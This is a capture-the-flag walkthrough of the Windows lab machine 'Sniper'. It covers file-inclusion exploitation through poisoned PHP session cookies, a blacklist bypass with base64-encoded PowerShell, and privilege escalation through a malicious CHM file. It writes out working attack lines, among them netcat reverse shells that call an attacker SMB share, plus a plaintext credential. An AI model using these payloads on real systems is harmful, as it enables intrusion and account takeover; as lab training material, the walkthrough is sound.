Summary
- The box is a Windows machine hosting a PHP website which had both a LFI (intended) and a RFI (unintended) vulnerabilities.
- Down the LFI path, and after working around some blacklisting and hardening, we manage to inject PHP code into the cookies and include them to gain RCE.
- We gain initial access as
NT Authority\iusr
. And, as we are taking a look around the web root, we find credentials for a local user calledchris
in the database settings file. - We used PowerShell to gain another reverse shell as that user and started looking for ways to escalate our privileges.
- In
chris
’sDownloads
folder, we found a file calledinstructions.chm
which mentioned some documentation work to be delivered to the company’s CEO. - Also relevant to the same topic, a folder called
Docs
in the root of theC:
drive contained a note for the developer (chris
) from the CEO asking for the documentation to be dropped there when done. - To exploit the situation, we create a malicious .CHM file using the Nishang PowerShell Suite to execute commands if that file was opened.
- After placing the file in the
Docs
folder, a few moments pass and the file gets removed. We verify execution of our payload (resetting theadministrator
’s password) by logging in and we’re successfully authenticated.
NMAP
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: Sniper Co.
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
49667/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2022-08-03T22:05:26
|_ start_date: N/A
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
|_clock-skew: 6h59m59s
Nmap gives us a few things to check:
- HTTP on Port 80
- RPC on port 135
- SMB on port 445
We start with SMB and RPC since they are a quick check.
SMB Enumeration
we check the usual null, anonymous and guest authentication with crackmapexec
but don’t get much past the OS and the hostname.
RPC Enumeration
we use enum4linux-ng
but don’t get much information here either
enum4linux-ng.py -A sniper
ENUM4LINUX - next generation
==========================
| Target Information |
==========================
[*] Target ........... sniper
[*] Username ......... ''
[*] Random Username .. 'stnvbvxv'
[*] Password ......... ''
[*] Timeout .......... 5 second(s)
==============================
| Service Scan on sniper |
==============================
[*] Checking LDAP
[-] Could not connect to LDAP on 389/tcp: timed out
[*] Checking LDAPS
[-] Could not connect to LDAPS on 636/tcp: timed out
[*] Checking SMB
[+] SMB is accessible on 445/tcp
[*] Checking SMB over NetBIOS
[+] SMB over NetBIOS is accessible on 139/tcp
==============================================
| NetBIOS Names and Workgroup for sniper |
==============================================
[-] Could not get NetBIOS names information via 'nmblookup': timed out
===================================
| SMB Dialect Check on sniper |
===================================
[*] Trying on 445/tcp
[+] Supported dialects and settings:
SMB 1.0: false
SMB 2.02: true
SMB 2.1: true
SMB 3.0: true
SMB1 only: false
Preferred dialect: SMB 3.0
SMB signing required: false
===================================
| RPC Session Check on sniper |
===================================
[*] Check for null session
[-] Could not establish null session: STATUS_ACCESS_DENIED
[*] Check for random user session
[-] Could not establish random user session: STATUS_INVALID_PARAMETER
[-] Sessions failed, neither null nor user sessions were possible
=====================================================
| Domain Information via SMB session for sniper |
=====================================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found domain information via SMB
NetBIOS computer name: SNIPER
NetBIOS domain name: ''
DNS domain: Sniper
FQDN: Sniper
=========================================
| OS Information via RPC for sniper |
=========================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found OS information via SMB
[*] Enumerating via 'srvinfo'
[-] Skipping 'srvinfo' run, null or user session required
[+] After merging OS information we have the following result:
OS: Windows 10, Windows Server 2019, Windows Server 2016
OS version: '10.0'
OS release: '1809'
OS build: '17763'
Native OS: not supported
Native LAN manager: not supported
Platform id: null
Server type: null
Server type string: null
[!] Aborting remainder of tests since sessions failed, rerun with valid credentials
Completed after 19.76 seconds
Web Enumeration
On port 80, we find a website
We get a login and registration form when we click the “User Portal”
We run sqlmap
on both forms but don’t find any SQL injection :/
Finding a File Inclusion Vulnerability
However, when we go to the services page and check the url for the language in the dropdown menu, we notice something interesting:
The lang parameter takes a .php
file name. This looks like a file inclusion vulnerability.
To verify it, we first try to include a file we’re 100% sure exists.
so we choose a CSS file from the source code of that page.
and try including it
We have verified a Local File Inclusion here.
In order to gain RCE from this, we have a challenge to:
- Find a file where we can inject PHP code
- Be able to reference it through the vulnerability to get code execution
Targeting Cookies
Cookies are a good place to start because:
- PHP stores the username inside them & we have the ability to register users
- Also, In Windows, by default, they are kept in a likely accessible directory
"c:\windows\temp"
- Their file name has a known format: “
sess_<PHPSESSID_COOKIE_VALUE>
”
So we need to:
- Be able to write PHP code into the username field in the registration form
- Login with that username and get a cookie
- Reference that cookie file using the LFI vulnerability we found
Sounds like a lot … and it is a lot XD
User Registration
We do a quick registration attempt to find out the limitations in user creation.
We used:
- Email:
"a@a"
- Username:
"a"
- Password:
"a"
and the registration suceeded!
This user has a special type of security. No one could ever guess creds like these :D :D
After logging in, the page looked like this:
Including the cookie
Before going further, we need to confirm we can reference the cookie on disk.
we can get the cookie from the Firefox developer tools.
We first try the full path to the cookie: "c:\windows\temp\sess_bbv0f4mgcubtrvp548rvg62uui"
But that doesn’t work and we get an error page
After many many tries:
- Normal traversal sequences like
../../
- Nested ones such as
....//
or....\/
- Single and Double URL encoding
- and other techniques..
I found out that I could include the cookie like this:
/windows/temp/sess_bbv0f4mgcubtrvp548rvg62uui
That’s because the PHP code is likely:
- Not accepting any
..
sequences - Not accepting
c:
in the request - Doesn’t like the path when it’s missing a
/
or\
in the beggining - But is alright with specifying the path without the
c:
part
We now know that we can include the input of the username field into the HTML.
So we move on to the next step.
Finding the allowed special characters
We’re going to brute force all the special characters at the registration form using Burp and find out what’s allowed and what’s not.
Here are the requests and responses for both the registration and login.
Upon submitting the registration request, the response we got was a 302 redirection to the initial login page
When trying to login, we get a 302 redirect followed by a 200 OK
I searched for a way to get all the special characters and found one using python
import string
print (string.punctuation)
we’re going to use those as payloads with Burp Intruder’s Sniper attack type. Sniper :D
after launching the attack, we notice that we get a 302 response with all requests (32 total) and with a fixed length of 292
are ALL special characters allowed?
if true, we would want to verify that.
otherwise, we would get ourselves into a blind, mindless and merciless loop of trial-and-error.
We’re going to do the same brute force attack with the login form to see which ones would log in and -by extension- give us cookies that we can include
the results show that there were -in fact- blacklisted characters
" $ & ( - . ; [ \ _
and the allowed ones:
! # % ' ) * + , / : < = > ? @ ] ^ ` { | } ~
this is good! Because:
<
,>
and?
are needed for the tags needed to inject PHP- and the backtick can be used for code execution (just like in Bash)
we can craft a payload like this:
<?php echo `whoami` ?>
after logging in, we get the cookie value from the browser and are able to get code execution.
Stomping the blacklisting with PowerShell
with RCE achieved, we have to find a way to execute a reverse shell with the allowed characters we have.
We have a couple of challenges here:
- the dollar sign (
$
), the semi-colon (;
), the brackets(
and[
along with the underscore (_
) are blocked, which enable the standard PHP backdoor<?php exec($_REQUEST["cmd"]);?>
- also, the dot (
.
) is blocked, so we can’t use our ip address in the payload to download something. - And, with the backslash
\
blocked as well, it means writing to paths other that the current directory isn’t allowed
when thinking about using PowerShell in execution, I remembered that we could use the encoded switch -E
and pass base64-encoded commands.
This feature was initially built to make handling tricky sequences of special characters easier.
Even though the dash (-
) is blocked, this trick is still doable with the whitelisted forward slash (/
).
This is similar to regular windows commands (ex: ipconfig /all
)
we test out a simple PowerShell command get-date
notice the encoding type is set to UTF-16LE. That’s what PowerShell expects when using that parameter.
After verifying that this method works, and after failing with many reverse shell options, I set up an Impacket SMB Server and hosted netcat
(the 64-bit version) and managed to get code execution with this payload:
<?php `powershell /e XABcADEAMAAuADEAMAAuADEANgAuADMAXABzAFwAbgBjADYANAAuAGUAeABlACAALQBlACAAcABvAHcAZQByAHMAaABlAGwAbAAgADEAMAAuADEAMAAuADEANgAuADMAIAA5ADAAMAAwAA==` ?>
which is:
\\10.10.16.3\s\nc64.exe -e powershell 10.10.16.3 9000
thankfully, after all this hard work, we’re rewarded with a reverse shell :D
Finding creds in the database settings file (like always)
The first thing I did after getting the shell, was check the files in the web root.
I found a file called db.php
in the C:\inetpub\wwwroot\user
directory.
The contents were:
I check the users on the system with net user
to get a list of usernames to reuse the password with
The password works for chris
Getting a shell as Chris
The situation is that we want to pivot to the chris
user without losing the shell if possible
We can do so from our PowerShell prompt using the below method:
$cred = New-Object System.Management.Automation.PSCredential ("Sniper\chris", (ConvertTo-SecureString "36mEAhz/B8xQ~2VM" -AsPlainText -Force))
Invoke-Command 127.0.0.1 -Credential $Cred -Scriptblock {\\10.10.16.3\s\nc64.exe -e powershell.exe 10.10.16.3 9001} -AsJob
we’re basically creating a credential
object for the chris
user and invoking a local script as him but as a job to fork into a new process and leave our shell in tact.
Neat :)
Privilege Escalation: Scanning the file system
When checking the folders in chris’s user profile, we find a file called intructions.chm
in his Downloads
folder.
We copy it over to our Kali using the SMB share.
When we open the file, we get the content below:
This is information on the internal operations here:
- There’s a project of an android app in development
- That document looks like a draft for its documentation
other than that, according to the text, it seems like the chris guy is really stressed out and thinking about quitting his job because the CEO is overloading him with work.
We don’t know if this information would be handy or not. But we take note of it nonetheless and move on.
In the system root (c:\
), we find a folder that sticks out: Docs
Looking at its contents, we see a note.txt
file:
Apart from the CEO bullying the chris guy,
and even leaving him a copy of "php for dummies-trial.pdf"
as a further insult XD
- he is asking about the documentation for the new app (very possibly referring to the android project in development).
- and wants him to drop it into this folder
"c:\Docs"
once done.
Sounds like we need to create a malicious .chm
file and put it there.
if the CEO happens to be the local administrator
and opens the file, we should root the box.
CHM Files for the win
Searching Google, we come accross this blog explaining exactly how to execute a payload using a .chm
file using a script from the Nishang script suite.
Following the article, we download the “HTML Help Workshop and Documentation program” and get the script from the Github Repository.
We import the Out-CHM.ps1
file and use it to get a doc.chm
file
After copying it to the Docs
folder and waiting a few moments, The .chm
file gets executed. and the Administrator’s password is changed
We confirm with crackmapexec
Pretty fun box :]
Unintended Path: RFI through SMB
When checking the ability of adding network paths as the file inclusion payload, we got PHP code execution:
This path is much easier but also teaches way less than the LFI one.
Out of Curiousity: A look at the PHP within the blog directory’s index.php
in index.php
, we the code looks for ..
and C:
within the included file path and throws an error if it detects any.
<?php include 'header.html'; ?>
<?php
stream_wrapper_unregister("php");
stream_wrapper_unregister("data");
$lang = "blog-en.php";
if(!ISSET($_GET['lang'])) {
include $lang;
}
else {
$lang = $_GET['lang'];
if(stripos($lang, "..") === false && stripos($lang, "C:") === false) { // Hardened 8)
if(!(include $lang)) {
include "error.html";
}
}
else {
include "error.html";
die();
}
}
?>